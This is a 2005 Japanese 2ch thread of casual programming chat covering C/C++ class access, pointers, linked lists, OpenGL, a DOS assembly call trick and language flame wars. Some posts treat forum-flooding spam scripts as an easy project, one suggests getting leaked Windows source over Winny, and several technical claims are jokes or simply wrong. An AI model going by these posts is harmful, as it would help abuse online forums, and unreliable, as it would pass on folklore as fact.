0226デフォルトの名無しさん2005/11/20(日) 07:37:15
エウレカ実況でバーボンくらった件
もう寝る!
0227デフォルトの名無しさん2005/11/20(日) 08:35:59
>>128
確かにexe踏んだら嫌な気分になるね
製作者からすれば安全なのわかってるから油断したよ
ぶひぶひ
0228デフォルトの名無しさん2005/11/20(日) 08:38:26
>>172
2人だよ
0229デフォルトの名無しさん2005/11/20(日) 14:10:04
変数名のことで質問です。
末尾が2つのnullで終わる文字列があって、今はその変数名のプリフィクスをszzにしています。
でも適当に考えたプリフィクスなので、ちょっと気持ち悪いです。
他に何か適切で一般的なプリフィクスはありますか?
0230デフォルトの名無しさん2005/11/20(日) 14:12:47
Nullpo
0231デフォルトの名無しさん2005/11/20(日) 14:29:51
そもそもハンガリアン記法ってM$自身も見捨てたやり方じゃなかったか?
とゆうかまさにピッタリなスレがあるからそっち池
0232デフォルトの名無しさん2005/11/20(日) 14:44:16
ハンガリアンはVBまでだっけか。
02332292005/11/20(日) 14:55:04
>>230-232
サンクスです。
ハンガリアンはあんまりスマートな命名規則じゃないっていうのはよく聞きますね。
でも私はこれしか知らないぽ。MFCもいまだにハンガリアンだし・・
いまはラクダがなんちゃらっていうのが流行りなかな・・
0234デフォルトの名無しさん2005/11/20(日) 15:23:49
ハンガリアン、便利だと思うがなあ、集団でソースいじるときは重宝してた
0235デフォルトの名無しさん2005/11/20(日) 15:28:05
てか、.NET Framework作ったのってDelphi開発者でそ。
前身のVJ++が既にそうだったし。

.NETはハードウェアなどの概念を抽象化した仮想マシン・処理系だから
型を意識させる必要そのものがないと思う。
0236デフォルトの名無しさん2005/11/20(日) 15:37:50
やねうらおさんの本に
ハンガリアンを使わねばプログラマにあらず
みたいなこと書かれてたから、それ読んだ後から
ハンガリアンっぽい名前にしてます。。
0237デフォルトの名無しさん2005/11/20(日) 15:38:15
型を強烈に意識しないといけないC言語では、ハンガリアンは有効な手段ってことなのかな。
0238デフォルトの名無しさん2005/11/20(日) 15:49:32
C勉強中だがとくにハンガリアン知らなくて困ることが無いんだが
0239デフォルトの名無しさん2005/11/20(日) 16:11:46
あと、ハンガリアン使ってたらなんとなく
頭よさげなプログラムに見えるw
0240デフォルトの名無しさん2005/11/20(日) 17:26:15
>>238
それ、一人で規模の小さいものつくるんなら必要ないかもしれんが・・・・
0241デフォルトの名無しさん2005/11/20(日) 17:27:11
プログラミングのやり方教えろォ_________________
http://ex14.2ch.net/test/read.cgi/news4vip/1132474262/
0242デフォルトの名無しさん2005/11/20(日) 17:50:08
先入れ先出し型のリストを作ってみました。
http://www.vipper.org/vip144170.txt

馬鹿なのでイマイチ理解不能 orz...
なんとかこれを双方向にして
シューティングの弾とか管理するクラスにしたいんだけど。。
0243デフォルトの名無しさん2005/11/20(日) 17:56:17
>>242
原理だけ理解しておいて、STL使ったほうが楽だよ
0244デフォルトの名無しさん2005/11/20(日) 18:01:18
>>243
そですね。STLのお勉強はまだしてませんが、
最後はそういうことになるかと思います。

でもでも、やぱ自分でサクサク作れるぐらいになりたぃぃ。
今知恵熱出てる (ノД`)
0245デフォルトの名無しさん2005/11/20(日) 18:31:47
暗号化・復号化プログラムできたお
まったく需要ないが自己満足ですはい。
0246デフォルトの名無しさん2005/11/20(日) 18:36:33
>>245
昨日のやつ?
0247デフォルトの名無しさん2005/11/20(日) 18:40:19
>>246
そうそう爆撃機
0248デフォルトの名無しさん2005/11/20(日) 21:28:19
>>242
ヘッダに書いてるようにそれはリストじゃなくてキューだから
FIFOのリストというとややこしいのでキューと呼んだ方がいいお
0249デフォルトの名無しさん2005/11/20(日) 21:56:06
>>237
逆にC(とC++)は型に関して厳しいからハンガリアンは不要という説もある。
俺は基本的にpとhなんたら位しか使わない。
0250デフォルトの名無しさん2005/11/20(日) 23:32:38
ハンガリアンの規則はペゾルドに載ってる
MSの天才プログラマが好んで使ってたらしいから
凡人は下手に真似しないほうがいいのかも
0251デフォルトの名無しさん2005/11/21(月) 01:18:00
ハンガリアンってやつが何なのか俺に四文字熟語で教えてくれ
0252デフォルトの名無しさん2005/11/21(月) 01:19:29
>>251
命名規則
0253デフォルトの名無しさん2005/11/21(月) 01:20:08
愛玩太鼠
0254デフォルトの名無しさん2005/11/21(月) 01:20:33
>>253
それはジャンガリアンだ
0255デフォルトの名無しさん2005/11/21(月) 01:21:00
ガキ大将
0256デフォルトの名無しさん2005/11/21(月) 01:21:38
洪牙利人。ma~お約束
0257デフォルトの名無しさん2005/11/21(月) 11:54:47
テポドンってC言語でも作れるってきいたんだけど
0258デフォルトの名無しさん2005/11/21(月) 12:03:43
#include "tepodong.h"

int main(){
 Tepodong tepodong = new Tepodong();
 tepodong.target = Cityname.Tokyo;
 tepodong.fire();
 return 0;
}
0259デフォルトの名無しさん2005/11/21(月) 12:11:55
>>258
思いっきりC++な件
0260デフォルトの名無しさん2005/11/21(月) 12:13:04
ついでに deleteし忘れてるし。
0261デフォルトの名無しさん2005/11/21(月) 12:17:33
たれ流し上等ってことじゃね?
0262デフォルトの名無しさん2005/11/21(月) 12:59:22
ド低能スレ向きだな
0263デフォルトの名無しさん2005/11/21(月) 13:08:26
newでインスタンス作ってるのにアロー演算子使ってないから
コンパイルすらできんな
0264デフォルトの名無しさん2005/11/21(月) 13:15:54
よく分かんないけど最初Tepodong *tepodongってしなくていいの?
0265デフォルトの名無しさん2005/11/21(月) 13:17:24
ここはVIPPERの秘密研究所だし
0266デフォルトの名無しさん2005/11/21(月) 13:19:51
D使いが慣れないことをしたらこうなるという見本ですた(´・ω・`)
0267デフォルトの名無しさん2005/11/21(月) 13:54:00
このままだとVIPは馴れ合いカテゴリ行きだな
0268デフォルトの名無しさん2005/11/21(月) 13:56:41
爆発するから解放する必要ねーよwww
0269デフォルトの名無しさん2005/11/21(月) 14:14:15
VIPつまんね
VIPがつまらなくなったのは馴れ合いスレが増えたからでなく、単に厨房が増えたせいだという事に気が付いた
でもVIP以外やることないニート
0270デフォルトの名無しさん2005/11/21(月) 14:19:11
VIP楽しス
VIPが楽しいのは馴れ合いスレにいるからではなく、単に俺が厨房だったせいだということに気が付いた
ゆえにVIP以外やらないニート
0271デフォルトの名無しさん2005/11/21(月) 16:07:49
働けばいいじゃn
0272デフォルトの名無しさん2005/11/21(月) 19:03:28
>>248
どもです m(__)m
FIFOがなんなのかわかんないんでググりましたよ!
Last In First Out のやつはスタックと呼んだ方がいいですかね。

双方向のリストは「双方向リスト」でおk?
0273デフォルトの名無しさん2005/11/21(月) 19:47:12
VIPでFileSystem作ってみませんか?
0274デフォルトの名無しさん2005/11/21(月) 20:11:19
なんのために?
0275デフォルトの名無しさん2005/11/21(月) 20:15:16
なんか便利ツール作れよ

C言語で簡単に拡張ができるツールだよ
0276デフォルトの名無しさん2005/11/21(月) 20:17:22
>>274
例えば大量のファイルを高速に扱えるFileSystemとか。
0277デフォルトの名無しさん2005/11/21(月) 20:26:16
>>275
性器拡張なんてエロイな
0278デフォルトの名無しさん2005/11/21(月) 20:27:27
つバイアグラ
0279デフォルトの名無しさん2005/11/21(月) 20:30:22
>>278
【読書の秋】性器拡張part20【ひぎぃの秋】
http://sakura03.bbspink.com/test/read.cgi/ascii2d/1128957158/
0280デフォルトの名無しさん2005/11/21(月) 22:22:37
超初心者勉強中です><
他のクラスのデータメンバにアクセスしたいのだけど。
AクラスとBクラスは包含関係ではなくて、だけどBクラスは一時的にAクラスのあるデータメンバを知りたい。
例えば
class A
{
private:
double array[3];

}
って感じなときに
mainでAクラスのインスタンスとBクラスのインスタンスを作ったと後
BクラスのメソッドからAクラスのarray[3]を知るにはどうgetarrayを書けばいいのかしら。
Aクラスのデータメンバにbr* myBって持たせて
mainで
B myB;ってインスタンスを作ってもこの二つは別物だよね??
bakada ore

0281デフォルトの名無しさん2005/11/21(月) 22:26:00
>>280
フツーにメンバ関数じゃダメなのか?
0282デフォルトの名無しさん2005/11/21(月) 22:45:12
class A{
 private double array[3];
 double[3] getArray(){
  return array;
 }
} a;

class B{
 double[3] getArray(){
  return a.getArray();
 }
}

こんな感じじゃね?
0283デフォルトの名無しさん2005/11/21(月) 23:16:09
BにAのポインタ持たせて

class A{
private:
double array[3];
public:
double *getArray(){
return array;
}
};

class B{
private:
A *myA;
public:
void SetClassA( A *p ){
myA = p;
}
double *getArray(){
return myA->getArray();
}
};

メインで

A myA;
B myB;

B.SetClassA( &myA );
とかやればB.getArrayでおkじゃね?
0284デフォルトの名無しさん2005/11/21(月) 23:17:37
あ、すまん
メインは
myB.SetClassA( &myA );
で
myB.getArrayだ
0285デフォルトの名無しさん2005/11/21(月) 23:34:33
C言語さっぱりな俺に
ポインタというものはどういうときに使うのか、素晴らしいところなどを
三行で説明していただけないか
0286デフォルトの名無しさん2005/11/21(月) 23:35:25
ぬ
る
ぽ
0287デフォルトの名無しさん2005/11/22(火) 00:06:22
例えばだ、お前が友達にVIPのスレを紹介するときに、VIPのスレのログ本体を渡すのではなく、VIPのスレのログのURLを渡した方が効率がいいだろ?
それと一緒で、関数とかに変数の中身を渡すより変数のアドレスを渡した方が効率がいい。
ぬるぽ
0288デフォルトの名無しさん2005/11/22(火) 00:10:19
>>280 普通に ^^

class A {
 double m_doArray[3];
public:
 A () {
  m_doArray[0] = 1.1;
  m_doArray[1] = 2.2;
  m_doArray[2] = 3.2;
 }
  // m_doArrayのアドレスを返す関数
 double * GetArray () { return m_doArray; }
};

class B {
public:
  // Aのm_doArrayのアドレスを受け取って表示する関数
 void DispAArray (const double *doAArray) {
  printf("%f\n", doAArray[0]);
  printf("%f\n", doAArray[1]);
  printf("%f\n", doAArray[2]);
 }
};

int main ()
{
 A a;
 B b;
 b.DispAArray(a.GetArray());
 return 0;
}
0289デフォルトの名無しさん2005/11/22(火) 00:29:53
ポインタはまぁ参照のような物。
使わぬ方が良い過去の遺産品。
あるオブジェクトは値渡しした方が早いかもしれないし、あって無いような物。
ポインタや参照渡しの判断はコンパイラにさせた方が良い。
02902802005/11/22(火) 00:32:42
>>281
>>282
>>283
>>288
ありがとう><
参考にしてやってみる。卒論終わるのかな・・・
0291デフォルトの名無しさん2005/11/22(火) 00:37:48
>>289 VS Cゲンガー ファイッ!
0292デフォルトの名無しさん2005/11/22(火) 00:56:19
>>289
どうやって配列参照させるわけ
02932802005/11/22(火) 01:03:03
なんとかできた。arrayが多次元配列だと・・・頑張ってみよう
0294デフォルトの名無しさん2005/11/22(火) 01:14:37
>>292
配列で扱えばよくね?
0295デフォルトの名無しさん2005/11/22(火) 01:17:20
配列で扱う、っていまいち意味が分からない
C言語にARRAY型はないし、配列を値渡しするのは無理だと思うが
0296デフォルトの名無しさん2005/11/22(火) 01:25:23
初心者

何系の本見ればいいの??勉強するには
おすすめ教えて!!
0297デフォルトの名無しさん2005/11/22(火) 01:26:18
太陽系
02982962005/11/22(火) 01:30:29
うんなわけねーだろ!!
初心者はPerllか?
0299デフォルトの名無しさん2005/11/22(火) 01:33:42
何を作りたいかorやりたいかによる
03002982005/11/22(火) 01:38:36
>>299
なるほど、すくりぷと荒し
0301デフォルトの名無しさん2005/11/22(火) 01:39:19
ファミリーベーシックでもやってろ
0302デフォルトの名無しさん2005/11/22(火) 01:49:00
ファミリーベーシック今手に入らんだろw
ググって画像見たが・・・

難易度だけ教えてほしいな、かなり難しいのかい?
荒しプログラムって
0303デフォルトの名無しさん2005/11/22(火) 01:50:59
Delphiならすぐ作れる
ここの元スレでも作ってただろ
0304デフォルトの名無しさん2005/11/22(火) 01:53:21
このスレ今日が初。
Delphi←ググってみる
アリガ�d!
0305デフォルトの名無しさん2005/11/22(火) 02:28:32
>>295
配列の形で参照たわしするんだよ

void unko( char vip[] );

ぶっちゃけポインタだけどな
0306デフォルトの名無しさん2005/11/22(火) 05:07:52
http://www.vipper.org/vip145045.zip

スレ一覧の取得まで出来た
0307デフォルトの名無しさん2005/11/22(火) 05:54:59
暇だ
なんか課題無い?
0308デフォルトの名無しさん2005/11/22(火) 06:44:19
ポインタについて聞いた者だが
すごく参考になった。ありが�d
0309デフォルトの名無しさん2005/11/22(火) 07:07:06
#include <glut.h>

void display(void)
{
    glClear(GL_COLOR_BUFFER_BIT);

    //V
    glBegin(GL_LINE_STRIP);
    glVertex2d(-0.9, 0.9);
    glVertex2d(-0.8, -0.9);
    glVertex2d(-0.7, 0.9);
    glEnd();

    //I
    glBegin(GL_LINES);
    
    glVertex2d(-0.6, 0.9);
    glVertex2d(-0.4, 0.9);

    glVertex2d(-0.5, 0.9);
    glVertex2d(-0.5, -0.9);

    glVertex2d(-0.6, -0.9);
    glVertex2d(-0.4, -0.9);

    glEnd();

    //P
    glBegin(GL_LINES);
    glVertex2d(-0.3, 0.9);
    glVertex2d(-0.3, -0.9);
0310デフォルトの名無しさん2005/11/22(火) 07:07:37
    glVertex2d(-0.3, 0.9);
    glVertex2d(-0.1, 0.4);

    glVertex2d(-0.1, 0.4);
    glVertex2d(-0.3, -0.1);
    glEnd();

    glFlush();
}

int main(int argc, char *argv[])
{
    glutInit(&argc, argv);
    glutInitDisplayMode(GLUT_RGBA);
    glutCreateWindow(argv[0]);
    glutDisplayFunc(display);
    glClearColor(0.0, 0.0, 0.0, 0.0);
    glutMainLoop();
    return 0;
}
0311デフォルトの名無しさん2005/11/22(火) 07:10:42
ttp://up.viploader.net/pic/src/viploader15571.jpg

前スレで↑こういうのはOpenGLで作るって教えてもらったので始めてみる
前途多難ス(`・ω・´)
0312デフォルトの名無しさん2005/11/22(火) 07:22:47
ネトゲも前ズレなのか・・・
0313デフォルトの名無しさん2005/11/22(火) 08:00:05
荒らしスクリプトは簡単過ぎて死ぬほど萎える。
んなもんHTTP/1.1のRFC読んでソケットいじれりゃ誰でも作れるんだよ。
くだらんもの作るな。
0314デフォルトの名無しさん2005/11/22(火) 09:21:54
>>307
これとかどうよ?

GamDevPukiWiki - おまいら!今日からC言語を学んでいくぞー!パート2
http://gamdev.org/w/?%5B%5B%A4%AA%A4%DE%A4%A4%A4%E9%A1%AA%BA%A3%C6%FC%A4%AB%A4%E9C%B8%C0%B8%EC%A4%F2%B3%D8%A4%F3%A4%C7%A4%A4%A4%AF%A4%BE%A1%BC%A1%AA%A5%D1%A1%BC%A5%C82%5D%5D
0315デフォルトの名無しさん2005/11/22(火) 09:26:05
>>314
それ、解答無いのが致命的
0316デフォルトの名無しさん2005/11/22(火) 10:38:38
>>305
うんポインタだよね
0317デフォルトの名無しさん2005/11/22(火) 16:57:02
>>313
FTPクライアントなんか作ってみるか?
0318デフォルトの名無しさん2005/11/22(火) 17:07:51
>>317
今はなでしこで簡単に作れるそうだ
0319デフォルトの名無しさん2005/11/22(火) 17:39:35
ちょwwwVIPPER臭い発動したらここVIPPERいなくなんじゃねwwww
0320デフォルトの名無しさん2005/11/22(火) 18:00:03
VIPのプログラムスレどうなった
0321デフォルトの名無しさん2005/11/22(火) 18:05:55
test
0322デフォルトの名無しさん2005/11/22(火) 18:15:29
VIPのプログラムスレからきますた
0323デフォルトの名無しさん2005/11/22(火) 18:21:53
なんかVIPで実験してるらしい
0324デフォルトの名無しさん2005/11/22(火) 18:25:27
今のVIPじゃプログラムの勉強もする気にもならん
0325デフォルトの名無しさん2005/11/22(火) 18:32:23
プログラムスレ
http://ex14.2ch.net/test/read.cgi/news4vip/1132650896/

あるじゃんww
今日は何時までもつか・・
0326デフォルトの名無しさん2005/11/22(火) 18:57:51
VIPに書き込むと他板に書き込めなくなるらしいな
0327デフォルトの名無しさん2005/11/22(火) 19:11:33
プログラミングについて質問なんですがいいですか?
プログラミングってなんですか?
0328デフォルトの名無しさん2005/11/22(火) 19:12:57
>>327
これは酷い
0329デフォルトの名無しさん2005/11/22(火) 19:33:36
>>327
お疲れのようですね。
今日は早く寝たほうがいい。
0330デフォルトの名無しさん2005/11/22(火) 19:44:50
>>327
気持ちは分かる。
0331デフォルトの名無しさん2005/11/22(火) 19:47:53
Cに慣れるとHSPできなくならね?('A`)
0332デフォルトの名無しさん2005/11/22(火) 19:50:21
HSPってホット・スープ・プロポーズだっけ?
0333デフォルトの名無しさん2005/11/22(火) 20:06:20
CになれてDelphiの使いにくいことといったら山の如し。
Delphiのほうが簡単だけど。
0334デフォルトの名無しさん2005/11/22(火) 20:07:12
>>331
Cに慣れつつも、講義でやらされてるPascalを普通に出来てる俺がいるから安心汁
Cでできることが出来なくて無性に腹立つがな('A`#)
0335デフォルトの名無しさん2005/11/23(水) 01:04:28
その次はオブジェクト指向へ移行する(できる)かが大きな課題だね
C言語やってからオブジェクト指向へってのは結構つまづき易いし、
最悪、理解できずに難癖付け出す輩もいる


オブジェクト指向は使えば使うほど開発効率あがるから、
いろんなものを大量生産できて楽しいお
0336デフォルトの名無しさん2005/11/23(水) 01:20:54
>>335
そこで憂鬱本ですよ
あれはとてもわかりやすくていい

中々良書の見つからない設計段階を重視しつつも実装段階まで踏み込んでるし
0337デフォルトの名無しさん2005/11/23(水) 06:23:08
むじゅい・・
0338デフォルトの名無しさん2005/11/23(水) 07:21:21
やっと双方向リストが動いたよ〜 (ノω`)・゚・。。
ttp://www.vipper.org/vip145667.txt

計算があきらかに複雑になってるので、
もうちょっと練らねば・・
0339デフォルトの名無しさん2005/11/23(水) 08:02:06
>>335
つまづく→×
つまずく→○
0340デフォルトの名無しさん2005/11/23(水) 09:47:07
>>335
んな馬鹿な。
オブジェクト指向は使えば使うほど依存度が増えて開発効率下がるよ。
使わなくて済むときにはOO使わないのがよいプログラム。
0341デフォルトの名無しさん2005/11/23(水) 10:38:40
ここを見てC言語を始めたお。
そしたら今日やっと計算ドリル(足し引き掛け割り選択、問題数選択)
の様な物を作れるまでになった。皆に感謝するお( ^ω^)
0342デフォルトの名無しさん2005/11/23(水) 11:06:29
脳みそ絞って限界まで計算減らしたけど
前とあんま変わらんかった。激しく読みにくい orz
汎用性のまるで無い双方向リストクラス
ttp://www.vipper.org/vip145691.txt

もうバグらなかったらいいってことにして、次に進む ヽ(`Д´)ノ
次は実用に耐えるだけの汎用性を考えなきゃ。
あー、どうしよ。。

>>336
おぶじぇくと志向っての興味あるんですが、
憂鬱本ってなんですか ><
0343デフォルトの名無しさん2005/11/23(水) 11:13:37
憂鬱なプログラマのためのオブジェクト指向開発講座
C++による実践的ソフトウェア構築入門
DDJ Selection
Tucker (著)
ttp://www.amazon.co.jp/exec/obidos/ASIN/4881356194/250-6494379-9438634

あら、すみません。これのことですかね。
「憂鬱本」でググったら普通に出てきちゃったw

アマゾンでも評価高いですね。
0344デフォルトの名無しさん2005/11/23(水) 12:09:58
>>342
汎用性を考えるとさらに複雑になるんだよなぁ
0345デフォルトの名無しさん2005/11/23(水) 12:18:31
unix環境でC++が普及しないのは何でですか
ハカーたちはオブジェクト指向なんか使わなくても引数・返却値・ポインタを駆使してオブジェクト指向と同様でかつ高速なコードを書くみたいな事きいたんですけど
0346デフォルトの名無しさん2005/11/23(水) 12:36:04
http://kei11.k-server.org/enter.htm
0347デフォルトの名無しさん2005/11/23(水) 12:37:07
C++を下手に使うと一枚岩のでっかいプログラムになって、
融通効かなくなるのよね。MFCなんかがいい例。
0348デフォルトの名無しさん2005/11/23(水) 12:39:16
OOとは直接関係ないけど、テンプレートはいいよ。
継承全く使わず総称だけでもC++使う価値あり。
>>342みたいなのは、std::listとstd:string組み合わせるだけで
リストの実装なんか何もわからなくても安全・高速・汎用的な
文字列リスト型ができるわけだし。
なにがいいかって、標準に従ってればドキュメント書かなくても
いいのが一番素晴らしいよなぁ〜
0349デフォルトの名無しさん2005/11/23(水) 12:49:52
僕にはCとPerlで十分です
0350デフォルトの名無しさん2005/11/23(水) 13:22:56
C++が遅いってイメージが大きいけど
Cを基準にして最悪でも+5%までに抑えるように設計されてるとか

>>340,347
それはどちらも下手な使い方をした例であって
下手な使い方を挙げたらきりがないお

>>348のいうのはベターCだお
0351デフォルトの名無しさん2005/11/23(水) 13:54:29
総称プログラミングをベターCとか言われると、
STL/boost使いはかなりカチンとくるよ!
0352デフォルトの名無しさん2005/11/23(水) 14:20:28
>>351
すまなかった
上2行すっ飛ばして、3行目以降を指して>>348としてますた(ノ∀`)
0353デフォルトの名無しさん2005/11/23(水) 14:49:29
>>348
STLを初めとするC++標準ライブラリは確かに素晴らしいけど
双方向リストぐらいは一度自力で実装してみないとダメな罠
一回自力で作れば、それぞれのデータ構造の利点・欠点も分かるだろうしな
0354デフォルトの名無しさん2005/11/23(水) 15:59:50
オブジェクト指向な書き方しても毎回ほぼ1から書いてるんだけど変?
0355デフォルトの名無しさん2005/11/23(水) 16:15:10
って言うかバカ
0356デフォルトの名無しさん2005/11/23(水) 16:22:05
>>355
赤面しながら視線を逸らしてそのセリフを言うとツンデレっぽいぞ!
0357デフォルトの名無しさん2005/11/23(水) 16:30:08
     ∩___∩
     | ノ     ヽ
     /   (゚)  (゚)ヽ 
     |  ////( _●_)ミ 
    彡、    |∪| l     って言うかバカ
     ヽ    ヽノ / 
     /´  ヽ、r ̄
     r  ヽ、  ) 
     ヽ、  ヽヽ
     と二_ノ_ノ
0358デフォルトの名無しさん2005/11/23(水) 16:31:15
問題
catコマンドを書け。
ファイルの出力に低水準入出力を使うこと。
0359デフォルトの名無しさん2005/11/23(水) 16:32:27
org 0x0100

main:
push func
ret
int 0x20

func:
mov dx, msg
mov ah, 0x09
int 0x21
ret

msg db "Func",0x0A,"$"

アセンブリでやってみたお
nasmでアセンブルして欲しいお
0360デフォルトの名無しさん2005/11/23(水) 16:32:53
>>358のcatじゃないからね
0361デフォルトの名無しさん2005/11/23(水) 16:48:16
他スレでDelphiが超嫌われてるっぽいんだけど
そんなにだめかな?
0362デフォルトの名無しさん2005/11/23(水) 16:49:36
2ちゃんねらーの言う事を信用しては駄目だ!
0363デフォルトの名無しさん2005/11/23(水) 16:50:11
>>361
Pascalが理解できる(できている)ならいいと思うが
0364デフォルトの名無しさん2005/11/23(水) 16:50:33
Delphiは普通にいい言語でしょ
0365デフォルトの名無しさん2005/11/23(水) 17:13:40
>>362
あなたの言うことも信用しちゃダメなんですね
0366デフォルトの名無しさん2005/11/23(水) 17:14:20
>>365
そうだお(^ω^;)
0367デフォルトの名無しさん2005/11/23(水) 17:14:56
>>365
自分自身も信じちゃダメだぞ☆
0368デフォルトの名無しさん2005/11/23(水) 17:22:48
>>363
やりだしたのつい最近なんですけどわかり易くて楽しかったからいいなってw
>>364
そうですよね。ありがとうございます。
0369デフォルトの名無しさん2005/11/23(水) 17:38:13
>>364
あんな自由度の低い言語の何処がいいんだよ
C/C++>>超えられない崖>>Java/VB/C#・・・>>>Asm/BASIC>>超えられないクレバス>>Delphi/Pascal
0370デフォルトの名無しさん2005/11/23(水) 17:40:11
つまり、結論としてはVBAが一番ってことですね
0371デフォルトの名無しさん2005/11/23(水) 17:43:24
誰も信じちゃダメだお(^ω^)
漏れはAsmマンセーだけどな!
0372デフォルトの名無しさん2005/11/23(水) 17:43:55
なでしこ最強
0373デフォルトの名無しさん2005/11/23(水) 17:45:40
>>372
あれ前使ってたが、ごちゃごちゃしててわかんない
0374デフォルトの名無しさん2005/11/23(水) 17:45:46
>>372
織田信長のほうが強いに決まってるだろ
0375デフォルトの名無しさん2005/11/23(水) 17:47:31
>>359の奴がどうなってんのかわかんないお(^ω^;)
0376デフォルトの名無しさん2005/11/23(水) 17:51:12
>>369
アセンブリでも使ってろ^^^
0377デフォルトの名無しさん2005/11/23(水) 17:52:08
>>375
func:がファンクションコール9番を呼んで「Func」って表示してるんだと思うお
main:のpushに何の意味があるのかは分からないお(;^ω^)
0378デフォルトの名無しさん2005/11/23(水) 17:54:13
main:のretもよくわからない・・・
0379デフォルトの名無しさん2005/11/23(水) 17:57:06
>>377 >>378
call命令使わず呼んでるのか?
0380デフォルトの名無しさん2005/11/23(水) 17:57:17
あ、pushとretでfunc呼ぶのか
callを分解したようなもんか?
0381デフォルトの名無しさん2005/11/23(水) 17:59:29
あぁ、そういうことか
retがスタックからポップしたアドレスをIPにセットするのを利用して
func呼んでるわけね


ぶっちゃけ無駄じゃね?(;^ω^)
0382デフォルトの名無しさん2005/11/23(水) 17:59:43
たぶんそうだな・・・
0383デフォルトの名無しさん2005/11/23(水) 18:00:45
>>381
例えば悪意のある解析者に対しての錯乱とかw
0384デフォルトの名無しさん2005/11/23(水) 18:02:36
>>383
うはwwwwwwwwwおkwwwwwwww

所でnasmでアセンブルしても実行形式ファイルができないんだが(;^ω^)
0385デフォルトの名無しさん2005/11/23(水) 18:04:00
>>384
0x0100番地から始まってるからcom形式じゃね?
0386デフォルトの名無しさん2005/11/23(水) 18:06:13
>>385
comに変更してみたお
>指定されたデバイス、バス、またはファイルにアクセスできません。アクセス許可がない可能性があります。

うはwwwwwwおkwwwwwww(;^ω^)
0387デフォルトの名無しさん2005/11/23(水) 18:13:10
>>369
ある程度以上の規模のプログラムを自分で書いたことがあれば
わかるんだけど、自由度の少ない言語は それと引き換えに
安全性を買っているんだよ。だから自由度が少ない=うんこ というのは
乱暴な考えだよ。 悔い改めろ。
0388デフォルトの名無しさん2005/11/23(水) 18:15:39
Delphiって最強だと思うよ
お手軽で高速でサイズも小さくなるし、コンパイルも早いし
Cしかつかったけどないけど
0389デフォルトの名無しさん2005/11/23(水) 18:18:49
388だけど最後の行はスルーしてくれ(^お^)
0390デフォルトの名無しさん2005/11/23(水) 18:21:55
>>386
ttp://www.vipper.org/vip145850.png
動いたからSSだお
0391デフォルトの名無しさん2005/11/23(水) 18:42:08
C++VB 初めてプログラム板来た初心者スレ delphi hsp
http://pc8.2ch.net/test/read.cgi/tech/1099112351/
0392デフォルトの名無しさん2005/11/23(水) 18:43:38
>VisualC++   UNIXOSはこれで書いてる。プログラム作り難い。ny作者がGUIに凝る為bcbに逃げた実績あり。
すげぇ
UNIXってVisual C++って書いてたのか
0393デフォルトの名無しさん2005/11/23(水) 18:44:51
WinネイティブなUNIXもあることだし
0394デフォルトの名無しさん2005/11/23(水) 18:46:19
gccじゃないのか・・・
0395デフォルトの名無しさん2005/11/23(水) 18:56:54
Windowsだって一応Linux程度にはUnixだろ。
BSD系ほどではないが。
0396デフォルトの名無しさん2005/11/23(水) 18:58:30
>>394
をいをいwwwww
UNIXOSを作成する過程で出来上がったのが初期のC言語コンパイラってだけだろ。
ここでgccの話持ち出してくるのは、>>392の引用と程度はかわらんぜwwww
0397デフォルトの名無しさん2005/11/23(水) 18:58:49
POSIX準拠らしいしな>Win2k
0398デフォルトの名無しさん2005/11/23(水) 19:04:49
>>396
ただ単にOS作るのに使うコンパイラの話じゃないのか
0399デフォルトの名無しさん2005/11/23(水) 19:06:42
Windows NT系がPOSIX準拠なのは、
なんでも米国政府が使うコンピュータに搭載するOSはPOSIX準拠でないといけないというのが発端らしい。
0400デフォルトの名無しさん2005/11/23(水) 19:10:58
POSIX準拠ってただのPOSIXサブシステムじゃん
こんなのUnixライクですらないよ
0401デフォルトの名無しさん2005/11/23(水) 19:48:07
↑見た目でしか判断できないヤツ
0402デフォルトの名無しさん2005/11/23(水) 19:55:55
↓違いの分かる男
0403デフォルトの名無しさん2005/11/23(水) 19:57:24
むかし9801使ってた頃TurboPascal+AsmでSTG作ったことあるけど、
その後Cを触ってPascalで作った事を後悔した。
0404デフォルトの名無しさん2005/11/23(水) 20:01:15
いまどきテンプレートもない言語で大規模アプリなんかつくれね〜よ

>ny作者がGUIに凝る為bcbに逃げた実績あり。
あの程度のGUIでBCB/VCLに頼らなきゃならない作者のが問題だろ〜
0405デフォルトの名無しさん2005/11/23(水) 20:35:13
>>404
頼るっていうか利用してるだけだろ。
楽に出来るところは楽にやったほうがいいにきまってる。
0406デフォルトの名無しさん2005/11/23(水) 20:44:00
>>401
ばーか
死ね
かす
うんこ
しね
0407デフォルトの名無しさん2005/11/23(水) 20:46:24
>>406
そう言う事言ってると本当に見かけでしか判断できない奴になるぞw
0408デフォルトの名無しさん2005/11/23(水) 20:52:00
POSIXサブシステムをインストールしてるだけでPOSIX準拠じゃねーよ
かす
うんこ
かす
かす
0409デフォルトの名無しさん2005/11/23(水) 20:53:08
http://upload.wikimedia.org/wikipedia/commons/3/32/Unix.png
Unixファミリー
0410デフォルトの名無しさん2005/11/23(水) 20:53:32
Windowsって何で書かれてるの?
Cって聞いたんだけど
0411デフォルトの名無しさん2005/11/23(水) 20:54:34
>>410
漏れもCって聞いた
なんかwindowsのバグってアドレスに場所間違えただけらしいよ
0412デフォルトの名無しさん2005/11/23(水) 20:58:21
C++も聞いたことある
0413デフォルトの名無しさん2005/11/23(水) 21:00:06
Fortranも聞いたことある
0414デフォルトの名無しさん2005/11/23(水) 21:02:58
ソースみろよ
0415デフォルトの名無しさん2005/11/23(水) 21:11:44
政府の要請じゃねえと見せねえよ
0416デフォルトの名無しさん2005/11/23(水) 21:12:35
Services for UNIX 3.5 ホーム
http://www.microsoft.com/japan/windows/sfu/
0417デフォルトの名無しさん2005/11/23(水) 21:12:36
日本政府が要請したら見せてくれるの?
日本じゃ無理じゃね?
0418デフォルトの名無しさん2005/11/23(水) 21:15:59
microsoft社員呼んで来い
0419デフォルトの名無しさん2005/11/23(水) 21:19:28
東大にWindowsのソースの一部あるだろ
0420デフォルトの名無しさん2005/11/23(水) 21:20:07
お前ら、ここ見ろ
http://www.microsoft.com/japan/windowsxp/startsomething/education.mspx
0421デフォルトの名無しさん2005/11/23(水) 21:20:31
リークしたソースをネットで公開してる奴いなかったっけ
0422デフォルトの名無しさん2005/11/23(水) 21:23:38
Winnyで探せばいいだろ
http://www.nipponham.co.jp/winny/
0423デフォルトの名無しさん2005/11/23(水) 21:26:27
政府なら見れる
http://pcweb.mycom.co.jp/news/2003/01/15/19.html

企業も契約を結べば見れる
http://www.microsoft.com/japan/sharedsource/Licensing/Enterprise.mspx
0424デフォルトの名無しさん2005/11/23(水) 21:26:35
>>420
